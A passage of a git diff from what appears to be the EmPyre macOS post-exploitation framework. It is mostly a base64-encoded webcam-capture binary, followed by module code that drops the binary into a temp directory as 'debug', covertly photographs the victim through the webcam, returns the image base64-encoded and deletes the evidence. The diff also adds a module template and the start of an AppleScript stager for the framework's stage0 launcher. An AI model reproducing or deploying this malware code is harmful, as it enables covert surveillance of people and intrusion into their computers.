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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARIgBVR2AXQoALDFEjAGBTQ1JEU0RwGGAYQVJBUkFSQVJDYBJDcAhSEiHOYIAVAnDdAXACUQAAABFAX19fQ0ZDb25zdGFudFN0cmluZ0NsYXNzUmVmZXJlbmNlAFFyjAHACwyQE0BfUVRNZWRpYVR5cGVNdXhlZACA4P3/////////AZBAX1FUTWVkaWFUeXBlVmlkZW8AkBVAX19fc3RkZXJycACQQF9fX3N0ZG91dHAAkEBkeWxkX3N0dWJfYmluZGVyAIDk//////////8BkBpAX05TSW1hZ2VDb21wcmVzc2lvbkZhY3RvcgCABJByMBhAX0NWQnVmZmVyUmVsZWFzZQCQAHI0GEBfQ1ZCdWZmZXJSZXRhaW4AkAByOBpAX05TQXBwbGljYXRpb25Mb2FkAJAAcjwVQF9fc2V0am1wAJAAckAVQF9leGl0AJAAckQVQF9mcHJpbnRmAJAAckgVQF9mcHV0YwCQAHJMFUBfZnB1dHMkVU5JWDIwMDMAkAByUBVAX2Z3cml0ZQCQAHJUFkBfb2JqY19lbnVtZXJhdGlvbk11dGF0aW9uAJAAclgWQF9vYmpjX2V4Y2VwdGlvbl9leHRyYWN0AJAAclwWQF9vYmpjX2V4Y2VwdGlvbl90aHJvdwCQAHJgFkBfb2JqY19leGNlcHRpb25fdHJ5X2VudGVyAJAAcmQWQF9vYmpjX2V4Y2VwdGlvbl90cnlfZXhpdACQAHJoFkBfb2JqY19tc2dTZW5kAJAAcmwWQF9vYmpjX21zZ1NlbmRTdXBlcgCQAHJwFkBfb2JqY19tc2dTZW5kX2ZwcmV0AJAAcnQWQF9vYmpjX3N5bmNfZW50ZXIAkAByeBZAX29iamNfc3luY19leGl0AJAAcnwVQF9wcmludGYAkABygAEVQF9wdXRjAJAAcoQBFUBfcHV0cwCQAAAAAANfAClzdGFydABjLm9iamNfY2xhc3NfbmFtZV9JbWFnZVNuYXAAiAEAA18APk5YQXJnAGhlbnZpcm9uAHwAAm1oX2V4ZWN1dGVfaGVhZGVyAF9fcHJvZ25hbWUAggECAAAAAwDAHgAAAmMAcHYAdgQAzIIBAAQA0IIBAAQA1IIBAAQA2IIBAAQAwKIBAAAAwB5AEVGSC0Y/oAT7AcoCX60BkAKnDYAFsASPASntAu4B4AkAAgAAAGQAAAAAAAAANwAAAGQAAAAAAAAAQwAAAGYDAQCkk05OAQAAAC4BAACAHwAAxQAAACQBAACAHwAA1wAAAIQAAAAAAAAAAQAAACQAAAARAAAAAQAAAE4BAAARAAAAAQAAAC4BAACRHwAAFwEAACQBAACRHwAAAQAAACQAAABRAAAAAQAAAE4BAABRAAAAAQAAAC4BAADiHwAAKQEAACQBAADiHwAAAQAAACQAAACSBQAAAQAAAE4BAACSBQAAAQAAAC4BAAB0JQAAbgEAACQBAAB0JQAAAQAAACQAAABGAAAAAQAAAE4BAABGAAAAAQAAAC4BAAC6JQAApQEAACQBAAC6JQAAAQAAACQAAAA/AAAAAQAAAE4BAAA/AAAAAQAAAC4BAAD5JQAA0QEAACQBAAD5JQAAAQAAACQAAAAgAgAAAQAAAE4BAAAgAgAAAQAAAC4BAAAZKAAA7wEAACQBAAAZKAAAAQAAACQAAAD7AAAAAQAAAE4BAAD7AAAAAQAAAC4BAAAUKQAADgIAACQBAAAUKQAAAQAAACQAAABKAQAAAQAAAE4BAABKAQAAAQAAAC4BAABeKgAAKAIAACQBAABeKgAAAQAAACQAAABfAAAAAQAAAE4BAABfAAAAAQAAAC4BAAC9KgAASAIAACQBAAC9KgAAAQAAACQAAACtAAAAAQAAAE4BAACtAAAAAQAAAC4BAABqKwAAYgIAACQBAABqKwAAAQAAACQAAAAQAQAAAQAAAE4BAAAQAQAAAQAAAC4BAAB6LAAAsgIAACQBAAB6LAAAAQAAACQAAACnBgAAAQAAAE4BAACnBgAAAQAAAC4BAAAhMwAAzQIAACQBAAAhMwAAAQAAACQAAACAAgAAAQAAAE4BAACAAgAAAQAAAC4BAAChNQAA5gIAACQBAAChNQAAAQAAACQAAAAwAgAAAQAAAE4BAAAwAgAAAQAAAC4BAADRNwAA/AIAACQBAADRNwAAAQAAACQAAACPAAAAAQAAAE4BAACPAAAAAQAAAC4BAABgOAAAEQMAACQBAABgOAAAAQAAACQAAAApAAAAAQAAAE4BAAApAAAAAQAAAC4BAACJOAAAIwMAACQBAACJOAAAAQAAACQAAABtAQAAAQAAAE4BAABtAQAAAQAAAC4BAAD2OQAAMAMAACQBAAD2OQAAAQAAACQAAADuAAAAAQAAAE4BAADuAAAAAQAAAC4BAADkOgAAPAMAACQBAADkOgAAAQAAACQAAADgBAAAAQAAAE4BAADgBAAAAQAAAC4BAADEPwAATgMAACQBAADEPwAAAQAAACQAAACIAAAAAQAAAE4BAACIAAAAVAMAACAAAAAAAAAAXQMAACYFAACKTwAAYgMAACYFAACgTwAAaQMAACAAAAAAAAAAhAMAACAAAAAAAAAAjwMAACAAAAAAAAAAAQAAAGQBAAAAAAAAmAMAAB4BAACAHwAAqgMAAA4BAACRHwAAvAMAAA4BAADiHwAAAQQAAA4BAAB0JQAAOAQAAA4BAAC6JQAAZAQAAA4BAAD5JQAAggQAAA4BAAAZKAAAoQQAAA4BAAAUKQAAuwQAAA4BAABeKgAA2wQAAA4BAAC9KgAA9QQAAA4BAABqKwAARQUAAA4BAAB6LAAAYAUAAA4BAAAhMwAAeQUAAA4BAAChNQAAjwUAAA4BAADRNwAApAUAAB4BAABgOAAAtgUAAB4BAACJOAAAwwUAAB4BAAD2OQAAzwUAAB4BAADkOgAA4QUAAB4BAADEPwAA5wUAAA4FAACKTwAA7AUAAA4FAACgTwAA8wUAAB4KAACIUAAA/AUAAB4MAABcUQAABwYAAB4MAABdUQAAEAYAAA8PAABAYQAAKwYAAA8MAABMUQAAMwYAAA8MAABQUQAAOwYAAA8MAABYUQAARwYAAAMBEAAAEAAAWwYAAA8MAABUUQAAZAYAAA8BAABAHwAAagYAAAEAAAkAAAAAgwYAAAEAAAoAAAAAogYAAAEAAAcAAAAAxQYAAAEAAAoAAAAA5wYAAAEAAAoAAAAABQcAAAEAAAEAAAAAHQcAAAEAAAcAAAAAPgcAAAEAAAEAAAAAXAcAAAEAAAoAAAAAdQcAAAEAAAEAAAAAlQcAAAEAAAcAAAAArwcAAAEAAAEAAAAAyQcAAAEAAAEAAAAA5AcAAAEAAAcAAAAA/gcAAAEAAAMAAAAAMAgAAAEAAAMAAAAAUQgAAAEAAAMAAAAAdwgAAAEAAAMAAAAAmQgAAAEAAAgAAAAAqggAAAEAAAgAAAAAuggAAAEAAAoAAAAAzQgAAAEAAAoAAAAA5wgAAAEAAAMAAAAA+QgAAAEAAAMAAAAACwkAAAEAAAEAAAAALQkAAAEAAAUAAAAAOAkAAAEAAAUAAAAAQwkAAAEAAAUAAAAATAkAAAEAAAUAAAAAUgkAAAEAAAUAAAAAWwkAAAEAAAUAAAAAYgkAAAEAAAUAAAAAcgkAAAEAAAUAAAAAegkAAAEAAAYAAAAAlAkAAAEAAAYAAAAArAkAAAEAAAYAAAAAwgkAAAEAAAYAAAAA3AkAAAEAAAYAAAAA9QkAAAEAAAYAAAAAAwoAAAEAAAYAAAAAFgoAAAEAAAYAAAAAKgoAAAEAAAYAAAAAOwoAAAEAAAYAAAAASwoAAAEAAAUAAAAAUwoAAAEAAAUAAAAAWQoAAAEAAAUAAAAAXwoAAAEAAAUAAAAAjQAAAI4AAACPAAAAlgAAAJcAAACYAAAAmQAAAJoAAACbAAAAnAAAAJ0AAACeAAAAnwAAAKAAAAChAAAAogAAAKMAAACkAAAApQAAAKYAAACnAAAAqAAAAAAAAEAAAABAkAAAAJEAAACSAAAAlAAAAJUAAACNAAAAjgAAAI8AAACWAAAAlwAAAJgAAACZAAAAmgAAAJsAAACcAAAAnQAAAJ4AAACfAAAAoAAAAKEAAACiAAAAowAAAKQAAAClAAAApgAAAKcAAACoAAAAIAAvVXNlcnMvcm9iL0RvY3VtZW50cy9pSGFyZGVyX1NWTl9DaGVja291dC9pbWFnZXNuYXAvAEltYWdlU25hcC5tAC9Vc2Vycy9yb2IvRG9jdW1lbnRzL2lIYXJkZXJfU1ZOX0NoZWNrb3V0L2ltYWdlc25hcC9idWlsZC9JbWFnZVNuYXAuYnVpbGQvUmVsZWFzZS9pbWFnZXNuYXAuYnVpbGQvT2JqZWN0cy1ub3JtYWwvaTM4Ni9JbWFnZVNuYXAubwBfZ2VuZXJhdGVGaWxlbmFtZQAvVXNlcnMvcm9iL0RvY3VtZW50cy9pSGFyZGVyX1NWTl9DaGVja291dC9pbWFnZXNuYXAvSW1hZ2VTbmFwLm0ALVtJbWFnZVNuYXAgaW5pdF0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDp3aXRoVGltZWxhcHNlOl0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDpdACtbSW1hZ2VTbmFwIHNhdmVTaW5nbGVTbmFwc2hvdEZyb206dG9GaWxlOl0AK1tJbWFnZVNuYXAgZGF0YUZyb206YXNUeXBlOl0AK1tJbWFnZVNuYXAgc2F2ZUltYWdlOnRvUGF0aDpdACtbSW1hZ2VTbmFwIGRldmljZU5hbWVkOl0AK1tJbWFnZVNuYXAgZGVmYXVsdFZpZGVvRGV2aWNlXQArW0ltYWdlU25hcCB2aWRlb0RldmljZXNdAC1bSW1hZ2VTbmFwIGNhcHR1cmVPdXRwdXQ6ZGlkT3V0cHV0VmlkZW9GcmFtZTp3aXRoU2FtcGxlQnVmZmVyOmZyb21Db25uZWN0aW9uOl0ALVtJbWFnZVNuYXAgc3RhcnRTZXNzaW9uOl0ALVtJbWFnZVNuYXAgc3RvcFNlc3Npb25dAC1bSW1hZ2VTbmFwIHNuYXBzaG90XQAtW0ltYWdlU25hcCBkZWFsbG9jXQBfZ2V0RGVmYXVsdERldmljZQBfbGlzdERldmljZXMAX3ByaW50VXNhZ2UAX3Byb2Nlc3NBcmd1bWVudHMAX21haW4AX1ZFUlNJT04AX3N0cgBfc3RyNjcALm9iamNfY2xhc3NfbmFtZV9JbWFnZVNuYXAAX2dfdmVyYm9zZQBfZ19xdWlldABfZ2VuZXJhdGVGaWxlbmFtZQAtW0ltYWdlU25hcCBpbml0XQArW0ltYWdlU25hcCBzYXZlU2luZ2xlU25hcHNob3RGcm9tOnRvRmlsZTp3aXRoV2FybXVwOndpdGhUaW1lbGFwc2U6XQArW0ltYWdlU25hcCBzYXZlU2luZ2xlU25hcHNob3RGcm9tOnRvRmlsZTp3aXRoV2FybXVwOl0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6XQArW0ltYWdlU25hcCBkYXRhRnJvbTphc1R5cGU6XQArW0ltYWdlU25hcCBzYXZlSW1hZ2U6dG9QYXRoOl0AK1tJbWFnZVNuYXAgZGV2aWNlTmFtZWQ6XQArW0ltYWdlU25hcCBkZWZhdWx0VmlkZW9EZXZpY2VdACtbSW1hZ2VTbmFwIHZpZGVvRGV2aWNlc10ALVtJbWFnZVNuYXAgY2FwdHVyZU91dHB1dDpkaWRPdXRwdXRWaWRlb0ZyYW1lOndpdGhTYW1wbGVCdWZmZXI6ZnJvbUNvbm5lY3Rpb246XQAtW0ltYWdlU25hcCBzdGFydFNlc3Npb246XQAtW0ltYWdlU25hcCBzdG9wU2Vzc2lvbl0ALVtJbWFnZVNuYXAgc25hcHNob3RdAC1bSW1hZ2VTbmFwIGRlYWxsb2NdAF9nZXREZWZhdWx0RGV2aWNlAF9saXN0RGV2aWNlcwBfcHJpbnRVc2FnZQBfcHJvY2Vzc0FyZ3VtZW50cwBfbWFpbgBfc3RyAF9zdHI2NwBfVkVSU0lPTgBfZ192ZXJib3NlAF9nX3F1aWV0AC5vYmpjX2NsYXNzX25hbWVfSW1hZ2VTbmFwAF9OWEFyZ2MAX05YQXJndgBfX19wcm9nbmFtZQBfX21oX2V4ZWN1dGVfaGVhZGVyAF9lbnZpcm9uAHN0YXJ0AC5vYmpjX2NsYXNzX25hbWVfQ0lJbWFnZQAub2JqY19jbGFzc19uYW1lX05TQXBwbGljYXRpb24ALm9iamNfY2xhc3NfbmFtZV9OU0F1dG9yZWxlYXNlUG9vbAAub2JqY19jbGFzc19uYW1lX05TQml0bWFwSW1hZ2VSZXAALm9iamNfY2xhc3NfbmFtZV9OU0NJSW1hZ2VSZXAALm9iamNfY2xhc3NfbmFtZV9OU0RhdGUALm9iamNfY2xhc3NfbmFtZV9OU0RhdGVGb3JtYXR0ZXIALm9iamNfY2xhc3NfbmFtZV9OU0RpY3Rpb25hcnkALm9iamNfY2xhc3NfbmFtZV9OU0ltYWdlAC5vYmpjX2NsYXNzX25hbWVfTlNNdXRhYmxlQXJyYXkALm9iamNfY2xhc3NfbmFtZV9OU051bWJlcgAub2JqY19jbGFzc19uYW1lX05TT2JqZWN0AC5vYmpjX2NsYXNzX25hbWVfTlNSdW5Mb29wAC5vYmpjX2NsYXNzX25hbWVfTlNTdHJpbmcALm9iamNfY2xhc3NfbmFtZV9RVENhcHR1cmVEZWNvbXByZXNzZWRWaWRlb091dHB1dAAub2JqY19jbGFzc19uYW1lX1FUQ2FwdHVyZURldmljZQAub2JqY19jbGFzc19uYW1lX1FUQ2FwdHVyZURldmljZUlucHV0AC5vYmpjX2NsYXNzX25hbWVfUVRDYXB0dXJlU2Vzc2lvbgBfQ1ZCdWZmZXJSZWxlYXNlAF9DVkJ1ZmZlclJldGFpbgBfTlNBcHBsaWNhdGlvbkxvYWQAX05TSW1hZ2VDb21wcmVzc2lvbkZhY3RvcgBfUVRNZWRpYVR5cGVNdXhlZABfUVRNZWRpYVR5cGVWaWRlbwBfX19DRkNvbnN0YW50U3RyaW5nQ2xhc3NSZWZlcmVuY2UAX19fc3RkZXJycABfX19zdGRvdXRwAF9fc2V0am1wAF9leGl0AF9mcHJpbnRmAF9mcHV0YwBfZnB1dHMkVU5JWDIwMDMAX2Z3cml0ZQBfb2JqY19lbnVtZXJhdGlvbk11dGF0aW9uAF9vYmpjX2V4Y2VwdGlvbl9leHRyYWN0AF9vYmpjX2V4Y2VwdGlvbl90aHJvdwBfb2JqY19leGNlcHRpb25fdHJ5X2VudGVyAF9vYmpjX2V4Y2VwdGlvbl90cnlfZXhpdABfb2JqY19tc2dTZW5kAF9vYmpjX21zZ1NlbmRTdXBlcgBfb2JqY19tc2dTZW5kX2ZwcmV0AF9vYmpjX3N5bmNfZW50ZXIAX29iamNfc3luY19leGl0AF9wcmludGYAX3B1dGMAX3B1dHMAZHlsZF9zdHViX2JpbmRlcgA=" +f = open("%sdebug", 'wb') +f.write(base64.b64decode(imageSnapb64)) +f.close() +run_command('chmod a+x %sdebug') +# take the webcam shot, waiting 2 seconds for camera to warm up +run_command('%sdebug -w 2 %sdebug.jpg') +time.sleep(4) +# base64 up resulting file, delete the file and binary, return the base64 of the png output +# mocked from the Empire screenshot module +f = open('%sdebug.jpg', 'rb') +data = base64.b64encode(f.read()) +f.close() +run_command('rm -f %sdebug') +run_command('rm -f %sdebug.jpg') +print data +""" %(tempDir,tempDir,tempDir,tempDir,tempDir,tempDir,tempDir) + + return script diff --git a/lib/modules/template.py b/lib/modules/template.py new file mode 100644 index 0000000..bdc9788 --- /dev/null +++ b/lib/modules/template.py @@ -0,0 +1,108 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'ModuleName', + + # list of one or more authors for the module + 'Author': ['@yourname'], + + # more verbose multi-line description of the module + 'Description': ('description line 1' + 'description line 2'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : None, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [ + 'comment', + 'http://link/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to grab a screenshot from.', + 'Required' : True, + 'Value' : '' + }, + 'Command' : { + 'Description' : 'Command to execute', + 'Required' : True, + 'Value' : 'test' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # the Python script itself, with the command to invoke + # for execution appended to the end. Scripts should output + # everything to the pipeline for proper parsing. + # + # the script should be stripped of comments, with a link to any + # original reference script included in the comments. + script = """ +def functionName: + pass +functionName""" + + + # if you're reading in a large, external script that might be updates, + # use the pattern below + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/..." + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + + # add any arguments to the end execution of the script + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/stagers/applescript.py b/lib/stagers/applescript.py new file mode 100644 index 0000000..627f0da --- /dev/null +++ b/lib/stagers/applescript.py @@ -0,0 +1,90 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'AppleScript', + + 'Author': ['@harmj0y'], + + 'Description': ('Generates AppleScript to execute the EmPyre stage0 launcher.'), + + 'Comments': [ + '' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { 